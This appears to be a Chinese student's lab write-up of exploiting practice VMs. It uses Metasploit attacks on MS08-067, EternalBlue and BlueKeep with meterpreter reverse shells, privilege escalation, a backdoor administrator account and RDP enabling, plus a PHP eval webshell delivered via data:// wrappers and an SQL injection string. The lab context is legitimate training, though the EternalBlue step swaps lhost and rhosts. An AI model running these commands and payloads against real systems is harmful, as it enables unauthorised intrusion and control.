目标一
使用 Kali 对 WinXP 系统的 SMB服务 MS08-067漏洞 进行利用,最终进入系统桌面进行截图
MS08-067:通过SMB服务的445端口触发NetpwPathCanonicalize函数的路径规范化缺陷导致栈缓冲区溢出,影响Windows 2000/XP/Server 2003等系统版本
虽然什么也没讲,让直接进行实操,但是我还是很有自信的
并非一帆风顺的探索阶段
参考资料,使用Metasploit
工具进行漏洞利用
Metasploit 是一个开源的渗透测试框架
过程可以概括为:
- 困难一:Kali系统镜像下载巨慢,不过教室的机器上有,而且密码相同
- 困难二:教室的机器太慢了,无法使用。还好带了自己的电脑,有纯净的Kali,再下载软件就是了
- 困难三:下载失败,原因找了一会,竟然是:签名验证失败,通过网上的教程:更新时显示签名无效和没有数字签名修好了。
- 困难四:由于教室插座不足,电脑没电了,只能使用教室机了(此时已经加载好)
- 困难五;无法找到目标机的IP,我猜目标机通过DHCP获取地址,且开放445端口,所以尝试找教室机的IP
- 困难六:对教室机网段全部IP进行测试均无结果,考虑到可能是虚拟机网络连接模式的问题
- 困难七:测试全部三种模式均不行,转用我的电脑进行测试(充上电了)
- 困难八:虽然是冲上电了,但是用dp口冲的,所以还是很卡
- 困难九:依然无法连接,使用两种端口扫描测试,结果均无开放端口,此时有点陷入自我怀疑,445怎么会没开放呢?
- 困难十:多次重启,发现目标机的VMware控制台视图没有IP地址(虽然这是正常的,因为没登陆),关闭目标机后,扫描结果甚至没变化,可能这网始终就没连上?
解决问题就在灵光一现之间
再次仔细研究资料,发现资料中命令的IP地址很可疑,难道说目标机的IP地址是固定的?那我之前扫描到的是谁呢?
更改虚拟机的虚拟网络编辑器(此处不再赘述)
设置好网段,经过两次测试,最终确定目标机的IP地址就是 192.168.118.201
此时,困扰我一天的问题终于解决了,又是这样简单的问题。
终于可以进行下一步了
过程及命令
扫描
仅发现主机,不扫描端口(快速)
nmap -sn 192.168.118.0/24
快速扫描并显示操作系统信息(需要root权限)
sudo nmap -O -F 192.168.118.0/24
探测 SMB 服务版本,判断是否存在已知漏洞:
nmap -p 139,445 -sV --script smb-vuln* 192.168.118.201
安装及攻击
安装(参考教程 记得更新apt):
apt install metasploit-framework
启动(出来的字符画还挺好看)
msfconsole
搜索相关模块
search ms08-067
设置 ms08_067_netapi 攻击模块
use exploit/windows/smb/ms08_067_netapi
设置payload(反向连接载荷,让目标主动连接攻击者)
set payload windows/meterpreter/reverse_tcp
查看选项
options
设置要攻击的IP
set RHOSTS 192.168.118.201
设置接收端IP(本机)
set LHOST 192.168.118.100
设置接收端通信端口
set LPORT 4444
查看可以攻击的靶机操作系统型号
show targets
选择windows xp sp3 简体中文
set targets 34
实施攻击,得到shell
exploit
提权和连接
查看当前权限:
在meterpreter >提示符下输入:
getuid
普通用户是:BUILTIN\Users
如果已取得 NT AUTHORITY\SYSTEM
权限,则跳过提权
使用 Metasploit 的提权模块
1
2
3
4
5
6
7
8
9
10
# 加载提权模块
background # 将当前会话后台挂起(返回msfconsole)
use post/windows/escalate/getsystem
set SESSION 1 # 替换为你的会话ID(这里是1)
run
# 若成功,会显示[+] Got SYSTEM via ...,此时重新进入会话:
sessions 1 # 回到meterpreter会话
getuid # 确认已获得NT AUTHORITY\SYSTEM权限
开启目标主机的 RDP 服务
自动开启RDP服务并添加防火墙规则
run post/windows/manage/enable_rdp
手动验证 RDP 端口
nmap -p 3389 192.168.118.201
如果目标主机没有可用的登录用户,可创建
进入目标系统的CMD shell
shell
在 CMD shell 中输入:
chcp 65001 # 如果中文乱码
net user haoyangjun 123 /add # 创建用户haoyangjun,密码123
net localgroup administrators haoyangjun /add # 将用户添加到管理员组
如果shell总是断开或者添加失败
直接在 Meterpreter 中执行命令(无需进入 shell)
- 创建用户:
execute -f "net.exe" -a "user haoyangjun 123 /add" -i -t
- 添加到管理组:
execute -f "net.exe" -a "localgroup administrators haoyangjun /add" -i -t
- 验证存在:
execute -f "net.exe" -a "user haoyangjun" -i -t
可以输入exit
并按回车,回到 meterpreter >提示符
单开一个终端,使用 RDP 客户端连接目标主机
rdesktop 192.168.118.201
熟悉的xp界面,输入账号密码即可进入桌面
然后就是想做啥就做啥喽。
</br> </br>
目标二
使用 Kali 对 WinSev2008R2 系统的 SMB服务 MS17-010漏洞 进行利用,最终进入系统桌面进行截图
MS17-010 就是大名鼎鼎的永恒之蓝漏洞,导致WannaCry勒索病毒通过445端口进行广泛传播
有了昨天的经验,这次测试变得非常简单
过程
启动
msfconsole
扫描端口
使用
msf
辅助模块中的扫描模块,通过search scanner
可以查看大量的扫描模块,通过search portscan
命令查看端口扫描器列表,输入use+模块名或use+序号
即可使用模块
use auziliary/scanner/portscan/syn
查看设置选项
options
设置被扫描机IP地址
set RHOSTS 192.168.118.202
设置扫描端口范围
set ports 0-500
启动模块进行扫描
run
扫描的结果显示目标记器0-500的端口内开了135,139,445端口,而永恒之蓝利用的就是445端口smb服务
搜索相关漏洞利用/验证模块
search ms17-010
探测主机是否存在MS17-010漏洞
use auxiliary/scanner/smb/smb_ms17_010
设置目标主机IP并启动探测
set RHOSTS 192.168.118.202
run
返回下面数据证明存在MS17_010漏洞
1
Host is likely VULNERABLE to MS17-010! - Windows 7 Enterprise 7601 Service Pack 1 x64 (64-bit)
攻击
设置攻击模块
use exploit/windows/smb/ms17_010_eternalblue
设置payload
set payload windows/x64/meterpreter/reverse_tcp
1
2
3
4
set lhost 192.168.118.202 # 设置接收shell的IP(本机IP)
set rhosts 192.168.118.100 # 设置要攻击IP
set lport 6666 # 设置要接收shell的端口
run # 运行
得到shell之后的操作同目标一
</br> </br>
目标三
使用 Kali 对 Win7 系统的 MS-RDP服务 CVE-2019-0708漏洞 进行利用,最终进入系统桌面进行截图
注意:此实验容易导致靶机蓝屏,遇到蓝屏需重启靶机。
过程
1
2
3
4
5
6
7
msfconsole # 启动MetaSploit
search 0708 # 查找模块
use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
# 使用scanner模块探测主机是否存在cve_2019_0708漏洞
options # 查看设置选项
set RHOSTS 192.168.118.203 # 设置目标主机IP或网段
exploit # 启动探测
扫描结果返回如:The targe is vulnerable… 证明存在CVE-2019-0708漏洞
1
2
3
4
5
6
7
# 使用exploit模块进行攻击
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce # 设置ms17_010_EternalBlue攻击模块
options # 查看需要设置的选项
set rhosts 192.168.118.203 # 设置要攻击IP
set lhost 192.168.118.100
exploit/run # 运行
需要多次尝试,或者将targets
设置为5或者2后再次进行攻击
遇到蓝屏请重启Windows虚拟机。
成功反弹shell后的步骤同目标一
目标四
对运行在Linux上的web系统进行漏洞利用
安装蚁剑 AntSword
使用 php://filter
伪协议
直接读取 flag.php 的源码(绕过 PHP 执行,以 base64 编码显示内容):
php://filter/read=convert.base64-encode/resource=flag.php
原理:php://filter
可以对文件内容进行过滤处理,convert.base64-encode
会将 flag.php 的内容编码为 base64,避免被 PHP 解析执行,从而直接获取源码。
操作:提交后,服务器会返回一串 base64 编码字符串,将其解码即可得到flag.php的内容
1
2
3
4
5
<?php
header('Content-Type: text/html; charset=utf-8');
echo "Flag 可不会给你看哦!";
$flag = "CTF{example_flag_12345}";
?>
在远程文件包含(RFI)漏洞实验中,利用 PHP 伪协议上传木马的核心思路是通过伪协议构造可执行的 PHP 代码
原理:data://
协议可以直接传递数据
将 PHP 代码<?php @eval($_POST['cmd']);?>
进行 base64 编码后传输
data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4=
用蚁剑工具连接,地址就是当前漏洞页面的 URL,密码是 cmd
sql注入,详情见:实训记录-周一
admin ' or '1' = '1